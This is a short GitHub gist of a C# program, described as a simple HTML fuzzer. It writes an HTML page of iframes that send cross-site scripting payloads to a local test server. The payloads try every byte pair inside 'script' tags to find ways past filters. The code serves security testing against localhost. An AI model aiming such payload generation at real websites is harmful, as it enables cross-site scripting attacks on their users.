Skip to content

Instantly share code, notes, and snippets.

@mpfund
Created July 20, 2014 23:15
Show Gist options
  • Save mpfund/debbb8996a78c091cea1 to your computer and use it in GitHub Desktop.
Save mpfund/debbb8996a78c091cea1 to your computer and use it in GitHub Desktop.
simple html and text fuzzer
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Web;
namespace CreateSite
{
class Program
{
static void Main(string[] args)
{
var st = new StringBuilder();
st.AppendLine("<!DOCTYPE html>");
st.AppendLine("<html>");
var payload = "";
for (var x = 0; x < 255; x++)
{
for (var y = 0; y < 255; y++)
{
var c = Encoding.ASCII.GetString(new byte[] { (byte)x });
c+= Encoding.ASCII.GetString(new byte[] { (byte)y });
payload = "</sc" + c + "ript><sc" + c + "ript>alert(1)</scr" + c + "ipt><!--";
//payload = HttpUtility.UrlEncode(payload);
st.AppendLine("<iframe src='http://localhost:9999/test?s=" + payload + "'></iframe>");
}
}
st.AppendLine("</html>");
File.WriteAllText("iframes.html", st.ToString());
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment